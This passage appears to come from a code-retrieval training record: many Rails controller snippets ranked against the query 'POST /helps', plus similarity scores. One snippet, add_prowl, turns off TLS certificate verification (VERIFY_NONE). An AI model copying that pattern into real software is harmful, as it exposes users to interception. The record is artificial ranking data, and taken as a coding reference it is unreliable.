# new.html.erb\n format.json { render :json => @lot }\n end\n end", "def new\n @foo = Foo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @foo }\n end\n end", "def new\n @gitto = Gitto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gitto }\n end\n end", "def new\n @hack = Hack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hack }\n end\n end", "def new\n @url = Url.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @url }\n end\n end", "def new\n @todo_list = TodoList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo_list }\n end\n end", "def new\n @tutorial = Tutorial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutorial }\n end\n end", "def new\n @tutorial = Tutorial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutorial }\n end\n end", "def new\n @something = Something.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @something }\n end\n end", "def new\n @tip = Tip.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tip }\n end\n end", "def new\n @press = Press.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @press }\n end\n end", "def new\n @troop = Troop.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @troop }\n end\n end", "def new\n @thought = Thought.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thought }\n end\n end", "def new\n @work = Work.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end", "def new\n @stable = Stable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stable }\n end\n end", "def new\n @hack = Hack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @hack }\n end\n end", "def new\n @work = Work.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end", "def new\n @work = Work.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end", "def new\n @wanted = Wanted.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wanted }\n end\n end", "def new\n @metodo = Metodo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @metodo }\n end\n end", "def new\n @issue = Issue.new\n\n @new = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @issue }\n end\n end", "def new\n @concept = Concept.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @concept }\n end\n end", "def new\n @version = Version.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @version }\n end\n end", "def new\n @shoe = Shoe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shoe }\n end\n end", "def new\n # @recipe = Recipe.new\n #\n new! do |format|\n # format.html # new.html.erb\n # format.json { render json: @recipe }\n end\n end", "def new\n @name = Name.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @name }\n end\n end", "def new\n @poll = Poll.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @poll }\n end\n end", "def new\n @poll = Poll.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @poll }\n end\n end", "def new\n @interesting = Interesting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interesting }\n end\n end", "def new\n @name = Name.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @name }\n end\n end", "def new\n @part_name = PartName.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @part_name }\n end\n end", "def new\n @trick = Trick.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trick }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exercise }\n end\n end", "def new\n @topickey = Topickey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @topickey }\n end\n end", "def new\n @t = T.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @t }\n end\n end", "def new\n @post = model.new\n\n respond_to do |format|\n format.html { render :action => resource_template(\"new\") }\n end\n end", "def new\n @newspost = Newspost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspost }\n end\n end" ]
[ "0.7165176", "0.69918215", "0.6981385", "0.69103944", "0.68859935", "0.68859935", "0.68542784", "0.6852886", "0.6852886", "0.6852886", "0.6852886", "0.6852886", "0.68443394", "0.6836141", "0.6821455", "0.6821455", "0.6821455", "0.6821455", "0.6821455", "0.68069977", "0.67930526", "0.67869455", "0.67869455", "0.67869455", "0.6772391", "0.6772391", "0.6772391", "0.6772391", "0.6772391", "0.67677736", "0.6733465", "0.67257667", "0.6722545", "0.6713202", "0.6709656", "0.67029196", "0.66902244", "0.6676067", "0.6670013", "0.6667117", "0.66509324", "0.6648288", "0.66320884", "0.662251", "0.66222405", "0.66189355", "0.66179055", "0.661708", "0.661438", "0.6608182", "0.6603724", "0.6596142", "0.65947753", "0.65947753", "0.6589235", "0.6579389", "0.6579389", "0.65731007", "0.65703607", "0.65671253", "0.65651524", "0.656041", "0.6559299", "0.65556884", "0.6554766", "0.6553398", "0.65490246", "0.65490246", "0.65444434", "0.65444225", "0.65388864", "0.653885", "0.6536439", "0.653138", "0.6526776", "0.65257436", "0.6524762", "0.6524762", "0.6519902", "0.6509555", "0.6506216", "0.6506031", "0.6500011", "0.6499533", "0.6499299", "0.64928824", "0.64926594", "0.64926594", "0.64912957", "0.6490396", "0.6486843", "0.64867264", "0.64830583", "0.64830583", "0.64830583", "0.64830583", "0.6480346", "0.6478286", "0.64760417", "0.6475606" ]
0.7155981
1
POST /helps POST /helps.json
def create @help = Help.new(params[:help]) respond_to do |format| if @help.save format.html { redirect_to @help, notice: 'Help was successfully created.' } format.json { render json: @help, status: :created, location: @help } else format.html { render action: "new" } format.json { render json: @help.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @shelter = Shelter.new(shelter_params)\n\n if @shelter.save\n render json: @shelter, status: :created, location: @shelter\n else\n render json: @shelter.errors, status: :unprocessable_entity\n end\n end", "def create\n @need_help = NeedHelp.new(params[:need_help])\n\n respond_to do |format|\n if @need_help.save\n format.json {render json: @need_help, status: :created, location: @need_help}\n else\n format.json {render json: @need_help.errors, status: :unprocessable_entity}\n end\n end\n end", "def create\n @help = Help.new(help_params)\n\n respond_to do |format|\n if @help.save\n format.html { redirect_to helps_path, notice: 'Help was successfully created.' }\n format.json { render :show, status: :created, location: @help }\n else\n format.html { render :new }\n format.json { render json: @help.errors, status: :unprocessable_entity }\n end\n end\n end", "def post\n \"\n desc 'create #{resource.singularize}' do\n tags %w[#{resource.singularize}]\n end\n params do\n # TODO: specify the parameters\n end\n post do\n # your code goes here\n end\"\n end", "def create\n @help = Help.new(help_params)\n\n respond_to do |format|\n if @help.save\n format.html { redirect_to @help, notice: 'Help was successfully created.' }\n format.json { render :show, status: :created, location: @help }\n else\n format.html { render :new }\n format.json { render json: @help.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n redirect_to action: \"index\"\n # @help = Help.new(help_params)\n\n # respond_to do |format|\n # if @help.save\n # format.html { redirect_to @help, notice: 'Help was successfully created.' }\n # format.json { render :show, status: :created, location: @help }\n # else\n # format.html { render :new }\n # format.json { render json: @help.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def create\n @shelter = Shelter.new(shelter_params)\n\n respond_to do |format|\n if @shelter.save\n format.html { redirect_to @shelter, notice: 'Shelter was successfully created.' }\n format.json { render :show, status: :created, location: @shelter }\n else\n format.html { render :new }\n format.json { render json: @shelter.errors, status: :unprocessable_entity }\n end\n end\n end", "def helps(id)\n helps_data(request(\"needs/helps/#{id}.xml\", :auth => true))\n end", "def help_params\n params.require(:help).permit(:title, :content, :category)\n end", "def help_params\n params.require(:help).permit(:title, :category, :content, screenshots:[])\n end", "def create_help_request\n @help_request = HelpRequest.new(params[:help])\n end", "def add_help(id, text)\n url = URI.parse(\"http://#{@@api_url}/helps/add/#{id}.xml#{@config[:apikey]}\")\n req = Net::HTTP::Post.new(url.path+@config[:apikey])\n\n req.basic_auth(@config[:email], @config[:password])\n req.set_form_data({'text' => text})\n\n response = Net::HTTP.new(url.host, url.port).start { |http| http.request(req) }\n parse(response.body)\n\n end", "def shelter_params\n params.require(:shelter).permit(:name)\n end", "def test\n get(\"/help/test.json\")\n end", "def test\n get(\"/help/test.json\")\n end", "def create\n @how_to = HowTo.new(how_to_params)\n\n respond_to do |format|\n if @how_to.save\n format.html { redirect_to @how_to, notice: 'How to was successfully created.' }\n format.json { render :show, status: :created, location: @how_to }\n else\n format.html { render :new }\n format.json { render json: @how_to.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @helps = Help.all\n end", "def create\n if useriseditor\n @help = Help.new(help_params)\n\n respond_to do |format|\n if @help.save\n format.html { redirect_to @help, alert: 'Help was successfully created.' }\n format.json { render action: 'show', status: :created, location: @help }\n else\n format.html { render action: 'new' }\n format.json { render json: @help.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to root_path\n end\n\n\n end", "def post_spec\n \"it_behaves_like 'POST', params: {}\"\n end", "def post_params #{{{\n params.require(:snippet).permit(:trigger, :links, :pre, :category, :desc, :ruby2, :bash4, :vim, :java, :vbs, :python3, :js, :winshell, :powershell, :groovy, :c, :cpp, :scala, :erlang, :clojure, :rails4)\n end", "def create_mod\n if params[:title] != nil && params[:content] != nil && params[:subId] != nil && params[:userId] != nil && params[:groupId] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n @question.subId = params[:subId].to_i\n @question.userId = params[:userId].to_i\n @question.groupId = params[:groupId].to_i\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/createQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully created\"\n redirect_to questions_path\n\n end\n end", "def create\n @help = Help.new(help_params)\n create_q(@help)\n end", "def new\n @help = Help.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @help }\n end\n end", "def help\n\t\thelps = Help.all\n\t\tif helps.present?\n\t\t# response to the JSON\n \t render json: { success: true, response: {help_content: helps.as_json} },:status=> 200\n\t else\n\t render :json=> { success: false, message: \"Help Content is not present\" },:status=> 203\n\t end\n\tend", "def create\n @snippet = Snippet.new(params[:snippet])\n\n respond_to do |format|\n if @snippet.save\n format.html { redirect_to @snippet, notice: 'Post was successfully created.' }\n format.json { render json: @snippet, status: :created, location: @snippet }\n else\n format.html { render layout: 'form', action: \"new\" }\n format.json { render json: @snippet.errors, status: :unprocessable_entity }\n end\n end\n end", "def cmd_create argv\n setup argv\n json = @hash['json']\n e = @hash['element']\n response = @api.create(json, e)\n msg response\n return response\n end", "def test_create_and_show\r\n assert_difference \"Helpful.count\" do\r\n post :create, :helpful_type => \"reviews\", :helpful_id => @review.to_param, :helpful => \"1\"\r\n assert_response :success\r\n end\r\n end", "def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end", "def index\n super\n @helps = Help.all\n end", "def create\n @what = What.new(params[:what])\n\n respond_to do |format|\n if @what.save\n format.html { redirect_to @what, notice: 'What was successfully created.' }\n format.json { render json: @what, status: :created, location: @what }\n else\n format.html { render action: \"new\" }\n format.json { render json: @what.errors, status: :unprocessable_entity }\n end\n end\n end", "def help_params\n params.permit(:need_housing, :gender, :has_kids, :help_type)\n end", "def create\n @code_help = CodeHelp.new(params[:code_help])\n\n respond_to do |format|\n if @code_help.save\n format.html { redirect_to @code_help, notice: 'Code help was successfully created.' }\n format.json { render json: @code_help, status: :created, location: @code_help }\n else\n format.html { render action: \"new\" }\n format.json { render json: @code_help.errors, status: :unprocessable_entity }\n end\n end\n end", "def help_params\n logger.debug(\"HelpsController.help_params: params: #{params.inspect}\")\n params.require(:help).permit(:name, :title, :description, :help_type)\n end", "def create_recipe_request(version, auth_headers, data = {})\n post \"/api/recipes\", params: data, headers: {'Content-Type' => \"application/json\", 'Accept' => \"application/vnd.ink.#{version}\" }.merge(auth_headers)\nend", "def create\n @tutorials = Tutorial.all\n @tutorial = Tutorial.new(tutorial_params)\n\n if @tutorial.save\n render json: @tutorial\n else\n render json: @tutorial.errors.full_messages, status:400\n end\n end", "def post #:doc:\n end", "def create\n @htm_help_type = HtmHelpType.new(params[:htm_help_type])\n\n respond_to do |format|\n if @htm_help_type.save\n format.html { redirect_to htm_help_types_path, notice: I18n.t(:record_created) }\n format.json { render json: @htm_help_type, status: :created, location: @htm_help_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @htm_help_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @snippet = Snippet.new(params[:snippet])\n\n respond_to do |format|\n if @snippet.save\n format.html { redirect_to @snippet, notice: 'Snippet was successfully created.' }\n format.json { render json: @snippet, status: :created, location: @snippet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @snippet.errors, status: :unprocessable_entity }\n end\n end\n end", "def makes\n make_request :get, '/makes'\n end", "def hello_params\n params.require(:hello).permit(:title, :notes)\n end", "def post_prompts_with_http_info(prompts, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PromptsApi.post_prompts ...'\n end\n # verify the required parameter 'prompts' is set\n if @api_client.config.client_side_validation && prompts.nil?\n fail ArgumentError, \"Missing the required parameter 'prompts' when calling PromptsApi.post_prompts\"\n end\n # resource path\n local_var_path = '/prompts'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(prompts) \n\n # return_type\n return_type = opts[:return_type] || 'Prompt' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PromptsApi#post_prompts\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def post_inventories(name,description, organization=1,variables='')\n dprint \"/api/v1/hosts\"\n resp = @rest['/api/v1/hosts'].post({\n :name => name,\n :description => description,\n :organization => organization,\n :variables => variables\n })\n dprint resp\n\n #[XXX] Theoretical what this is at this point - need to see \n # actual response\n JSON.parse(resp)[\"results\"]\n end", "def CreateArticle params = {}\n \n APICall(path: 'help_center/articles.json',method: 'POST',payload: params.to_json)\n \n end", "def create\n logger.debug \"CREATE\"\n @snippet = Snippet.new(snippet_params)\n\n respond_to do |format|\n if @snippet.save\n format.html { redirect_to @snippet, notice: 'Snippet was successfully created.' }\n #format.json { render action: 'show', status: :created, location: @snippet }\n format.json { render json: @snippet }\n else\n #format.html { render action: 'new' }\n format.json { render json: @snippet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @male_shot_put_head = MaleShotPutHead.new(male_shot_put_head_params)\n\n respond_to do |format|\n if @male_shot_put_head.save\n format.html { redirect_to @male_shot_put_head, notice: 'Male shot put head was successfully created.' }\n format.json { render :show, status: :created, location: @male_shot_put_head }\n else\n format.html { render :new }\n format.json { render json: @male_shot_put_head.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if @tips_trick.save\n format.html { redirect_to @tips_trick, notice: 'Tips trick was successfully created.' }\n format.json { render json: @tips_trick, status: :created, location: @tips_trick }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tips_trick.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_post\n begin\n #asks the user for the title, body, and whether it should be anonymous\n print \"Title: \"\n title = STDIN.gets.chomp\n print \"Body: \"\n body = STDIN.gets.chomp\n print \"Post as Anonymous? (y/n): \"\n anonymous = STDIN.gets.chomp.upcase == 'Y' ? true : false\n # check user information from login\n\n # Rails will reject this unless you configure the cross_forgery_request check to\n # a null_session in the receiving controller. This is because we are not sending\n # an authenticity token. Rails by default will only send the token with forms /users/new and\n # /users/1/edit and REST clients don't get those.\n # We could perhaps arrange to send this on a previous\n # request but we would then have to have an initial call (a kind of login perhaps).\n # This will automatically send as a multi-part request because we are adding a\n # File object.\n response = RestClient.post \"#{@@DOMAIN}/api/posts.json\",\n\n {\n post: {\n title: title,\n body: body,\n anonymous: anonymous\n },\n }, authorization_hash\n\n if (response.code == 201)\n puts \"Created successfully\"\n end\n puts \"URL for new resource: #{response.headers[:location]}\"\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end", "def create\n @howitwork = Howitwork.new(howitwork_params)\n\n respond_to do |format|\n if @howitwork.save\n format.html { redirect_to admin_howitwork_url(@howitwork), notice: 'Howitwork was successfully created.' }\n format.json { render :show, status: :created, location: @howitwork }\n else\n format.html { render :new }\n format.json { render json: @howitwork.errors, status: :unprocessable_entity }\n end\n end\n end", "def scaffold\n response_json = RestClient.post(api_path, params.except(:action, :controller))\n\n render template: \"rspec/show\", locals: JSON.parse(response_json)\n end", "def recipe_params\n params.require(:recipe).permit(:title, :summary, :instructions)\n end", "def shelter_params\n params.require(:shelter).permit(:name, :description, :address, :phone, :gender, :free_bed)\n end", "def new\n @help_page = HelpPage.new\n\t @title = 'Create New Help Page'\n\t\t\n respond_to do |format|\n format.html { } # new.html.erb\n format.json { render :json => @help_page }\n end\n end", "def create\n @shoutout = Shoutout.new(create_params)\n if @shoutout.save\n render json: @shoutout, status: 201, location: api_v1_shoutout_path(@shoutout.id)\n else\n render json: { error: \"Application error\", status: 400 }, status: 400\n end\n end", "def add_prowl(options)\n uri = URI.parse(\"https://prowl.weks.net/publicapi/add\")\n https = Net::HTTP.new(uri.host, uri.port)\n # We have to use SSL\n https.use_ssl = true\n # Avoid to get warning\n https.verify_mode = OpenSSL::SSL::VERIFY_NONE\n req = Net::HTTP::Post.new(uri.path)\n # Default options for notifications\n options = {:apikey => $configure[:prowl][:apikey], :application => \"Twitter\", :priority => 0}.merge(options)\n req.set_form_data(options)\n https.request(req)\nend", "def create\n @help_option = HelpOption.new(help_option_params)\n\n respond_to do |format|\n if @help_option.save\n format.html { redirect_to @help_option, notice: \"תצוגה #{CREATE_MSG}\" }\n format.json { render :show, status: :created, location: @help_option }\n else\n format.html { render :new }\n format.json { render json: @help_option.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @snippet = Snippet.new(snippet_params)\n\n respond_to do |format|\n if @snippet.save\n format.html { redirect_to @snippet, notice: 'Snippet was successfully created.' }\n format.json { render :show, status: :created, location: @snippet }\n puts @snippet\n else\n format.html { render :new }\n format.json { render json: @snippet.errors, status: :unprocessable_entity }\n end\n end\n end", "def handle_post()\n make_response(201, \"New resource created\")\nend", "def create\n @story = Story.new(story_params)\n\n respond_to do |format|\n if @story.save\n\n @snippet = @story.snippets.create(params[:story][:snippet].permit(:content))\n\n format.html { redirect_to root_path, notice: 'Story was successfully created.' }\n #format.html { redirect_to @story, notice: 'Story was successfully created.' }\n #format.json { render action: 'show', status: :created, location: @story }\n else\n format.html { render action: 'new' }\n format.json { render json: @story.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @terms_of_use = TermsOfUse.new(params[:terms_of_use])\n\n respond_to do |format|\n if @terms_of_use.save\n format.html { redirect_to @terms_of_use, notice: 'Terms of use was successfully created.' }\n format.json { render json: @terms_of_use, status: :created, location: @terms_of_use }\n else\n format.html { render action: \"new\" }\n format.json { render json: @terms_of_use.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_prompts(prompts, opts = {})\n data, _status_code, _headers = post_prompts_with_http_info(prompts, opts)\n data\n end", "def create\n @help_case = HelpCase.new(help_case_params)\n\n respond_to do |format|\n if @help_case.save\n format.html { redirect_to @help_case, notice: 'Help case was successfully created.' }\n format.json { render :show, status: :created, location: @help_case }\n else\n format.html { render :new }\n format.json { render json: @help_case.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #@shelter = Shelter.new(shelter_params)\n #@shelter = @user.shelters.new(shelter_params)\n #@tmap = Tmap.new(id: 1)\n #@shelter.tmap_id = @tmap.id\n respond_to do |format|\n if @shelter.save\n format.html { redirect_to @shelter, notice: 'Shelter was successfully created.' }\n #format.json { render :show, status: :created, location: @shelter }\n format.json { render json: @shelter }\n else\n format.html { render :new }\n #format.json { render json: @shelter.errors, status: :unprocessable_entity }\n format.json { render json: @shelter.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end", "def create\n exercise = Exercise.create(exercise_params)\n if exercise\n render json: exercise\n else\n render json: {error: 'Workout was not created.'}\n end\n end", "def create\n @shout = Shout.new(params[:shout])\n\n respond_to do |format|\n if @shout.save\n format.html { redirect_to @shout, notice: 'Shout was successfully created.' }\n format.json { render json: @shout, status: :created, location: @shout }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shout.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n megam_rest.post_appdefn(to_hash)\n end", "def create\n hawkData = {\n # The first value [name:] corresponds to the backend object model\n # The second value [params[:name]] corresponds to the frontend\n name: params[:java_script_name],\n species: params[:java_script_species]\n }\n Hawk.create(hawkData)\n #render json: hawk\n end", "def new\n @howtolist = @product.howtolists.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @howtolist }\n end\n end", "def handle_post\n make_response(201, {message: 'New resource created'})\nend", "def post operation, data={}\n body = case data\n when String\n body = data\n else\n Yajl::Encoder.encode(data)\n end\n\n request = new_request operation, body\n request.sign sts\n hydra.queue request\n hydra.run\n response = request.response\n puts response.inspect if @debug\n\n if response.code == 200\n Yajl::Parser.parse response.body\n else\n raise_error response\n end\n end", "def create\n @title = Title.new(title_params)\n\n if @title.save\n render json: @title, status: :created, location: @title\n else\n render json: @title.errors, status: :unprocessable_entity\n end\n end", "def post\r\n end", "def create\n megam_rest.post_promos(to_hash) #WONT BE USED AS OF NOW\n end", "def create\n matching_service_providers = ::ServiceOffering::FindMatchesForHelpRequest.call!(help_params: help_params)\n service_provider_ids = matching_service_providers.map(&:id)\n return redirect_to '/helps/matching_service_providers',\n service_providers: service_provider_ids\n end", "def create\n story_params = {\n title: params[:title],\n summary: params[:summary],\n }\n @story = Story.new(story_params)\n\n if @story.save\n # render :show, status: :created, location: @story\n render json: @story\n else\n render json: @story.errors, status: :unprocessable_entity\n end\n end", "def create\n product_name = competitor_params[:title]\n honestbee_datas = get_honestbee_data (product_name)\n predict_catalog = get_predict_catalog ( product_name )\n save_data_in_postgres (predict_catalog)\n render :json => honestbee_datas\n end", "def create\n @shower = Shower.new(shower_params)\n\n respond_to do |format|\n if @shower.save\n format.html { redirect_to @shower, notice: 'Shower was successfully created.' }\n format.json { render :show, status: :created, location: @shower }\n else\n format.html { render :new }\n format.json { render json: @shower.errors, status: :unprocessable_entity }\n end\n end\n end", "def post; end", "def update\n @shelter = Shelter.find(params[:id])\n\n if @shelter.update(shelter_params)\n head :no_content\n else\n render json: @shelter.errors, status: :unprocessable_entity\n end\n end", "def create\n @scratcher = Scratcher.new(permitted_params)\n\n if @scratcher.save\n render json: @scratcher, status: :created, location: @scratcher\n else\n render json: @scratcher.errors, status: :unprocessable_entity\n end\n end", "def create\n @knowledge = Knowledge.new(params[:knowledge])\n\n respond_to do |format|\n if @knowledge.save\n format.html { redirect_to @knowledge, notice: 'Knowledge was successfully created.' }\n format.json { render json: @knowledge, status: :created, location: @knowledge }\n else\n format.html { render action: \"new\" }\n format.json { render json: @knowledge.errors, status: :unprocessable_entity }\n end\n end\n end", "def guide_params\n params.require(:guide).permit(:title, :description, :steps, :source)\n end", "def test_should_create_post_via_API_JSON\r\n get \"/logout\"\r\n post \"/forum_posts.json\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n topic = JSON.parse(response.body)\r\n assert topic['title'] == 'API Test Post', 'Incorrect topic title'\r\n assert topic['user_id'] == 1, 'Incorrect user id'\r\n assert topic['body'] == 'Test Post desc', 'Incorrect topic description' \r\n end", "def single_housing_params\n params.require(:single_housing).permit(:title, :description)\n end", "def create\n\n @guide_post = GuidePost.new(params[:guide_post])\n\n respond_to do |format|\n if @guide_post.save\n format.html { redirect_to @guide_post, notice: 'Guide post was successfully created.' }\n format.json { render json: @guide_post, status: :created, location: @guide_post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @guide_post.errors, status: :unprocessable_entity }\n end\n end\n end", "def submit_new(all_stories)\n\tnew_story = {}\n\tputs \"Headline, please\"\n\tnew_story[\"headline\"] = gets.chomp\n\tputs \"Category, please\"\n\tnew_story[\"category\"] = gets.chomp\n\tputs \"Upvotes, please\"\n\tnew_story[\"upvotes\"] = gets.chomp.to_i\n\tall_stories << new_story\nend", "def help_text\n options = {question_pairing_id: params[:question_pairing_id]}\n options[:disability_ids] = params[:disability_ids].split(',') if params[:disability_ids].present?\n\n @help_text = QuestionPairingDisability.with_names(options)\n\n respond_to do |format|\n format.html { render layout: 'fancybox'}\n format.json { render json: @data }\n end\n\n end", "def create\n @specie = Specie.new(params[:specie])\n\n respond_to do |format|\n if @specie.save\n format.html { redirect_to @specie, notice: 'Specie was successfully created.' }\n format.json { render json: @specie, status: :created, location: @specie }\n else\n format.html { render action: \"new\" }\n format.json { render json: @specie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_pod(pod_spec, kubectl_options)\n sh = Shell.new\n new_pod_json = (sh.echo(pod_spec.to_json) | sh.system(\"kubectl #{kubectl_options} create -o json -f -\")).to_s\n\n new_pod = JSON.parse(new_pod_json)\n pod_name = new_pod[\"metadata\"][\"name\"]\n\n puts \"Created pod: #{pod_name}\"\n pod_name\nend", "def showerthought_create_params\n params.require(:showerthought).permit(:content, :context, :user_id)\n end", "def new\n @shelter = Shelter.new\n\n @shelter\n end", "def create\n user = current_user\n if params[:id]\n @recipe = Recipe.new(name: params[:name],\n description: params[:description],\n ingredients: params[:indredients],\n instructions: params[:instructions],\n servings: params[:servings],\n original_id: params[:id])\n else\n @recipe = Recipe.new(recipe_params)\n end\n user.recipes << @recipe\n if user.save\n render json: @recipe, status: :created\n else\n render json: {message: \"something went wrong\"}\n end\n end", "def create\n @resource = Resource.new(params[:resource])\n @terms = Term.all_iit_subjects\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render json: @resource, status: :created, location: @resource }\n else\n format.html { render action: \"new\" }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @headline = Headline.new(headline_params)\n create_resource_response(@headline)\n end", "def create\n render json: Post.create(params[\"post\"])\n end", "def create\n userID = session[:user_id]\n editionID = params[:edition_id]\n price = params[:price]\n\n uri = URI(\"http://107.170.7.58:4567/api/create/sell\")\n parameters = {\"ext\" => \"json\", \"user_id\" => userID, \"edition_id\" => editionID, \"price\" => price, \"start_date\" => Time.now, \"end_date\" => 90.days.from_now}\n response = Net::HTTP.post_form(uri, parameters)\n list = JSON.parse(response.body)\n\n @response = list[0][\"kind\"]\n end", "def help_params\n params.require(:help).permit(:gst, :qst)\n end", "def create\n @post = Post.new({ :title => params[:post][:title] })\n \n respond_to do |format|\n if @post.save\n format.json { render :json => { :post => @post.as_json}, :status => :created, :location => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(data = \"\")\n submit :Post, data\n end", "def create_post topic_id, payload\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.post POSTS, payload, topic_id, nil, \"create_post\" )\n\t\t\t\tend", "def post\n end" ]
[ "0.6136116", "0.61105037", "0.5887056", "0.58332497", "0.577625", "0.5693413", "0.562618", "0.5594344", "0.5446141", "0.5441019", "0.54253054", "0.5405194", "0.5380759", "0.5377785", "0.5377785", "0.5368101", "0.5363749", "0.53591883", "0.5350219", "0.5328846", "0.52986455", "0.52775586", "0.5265775", "0.52583545", "0.52331656", "0.5191583", "0.5153327", "0.51474756", "0.51143223", "0.5112396", "0.51058096", "0.51027495", "0.50948673", "0.5075611", "0.5074454", "0.50593805", "0.5057998", "0.50548226", "0.50508565", "0.5047156", "0.50447977", "0.5039488", "0.50330687", "0.50253373", "0.5021843", "0.50174683", "0.5016106", "0.50043976", "0.5002676", "0.49991727", "0.49977678", "0.49849278", "0.49766773", "0.4969482", "0.49673682", "0.49651763", "0.49638444", "0.49632975", "0.49572253", "0.49564502", "0.49552813", "0.49518067", "0.4944182", "0.49439725", "0.49433872", "0.49306768", "0.49256074", "0.49182844", "0.49171704", "0.49126798", "0.49107146", "0.49046645", "0.4904031", "0.4900706", "0.48972133", "0.4894227", "0.48855594", "0.48846754", "0.4882659", "0.48810977", "0.48793018", "0.48700562", "0.48695818", "0.486843", "0.48630458", "0.4861403", "0.4859551", "0.48580906", "0.48574358", "0.48572767", "0.48554274", "0.48514757", "0.48492518", "0.48450544", "0.48450544", "0.4840771", "0.48401478", "0.48380744", 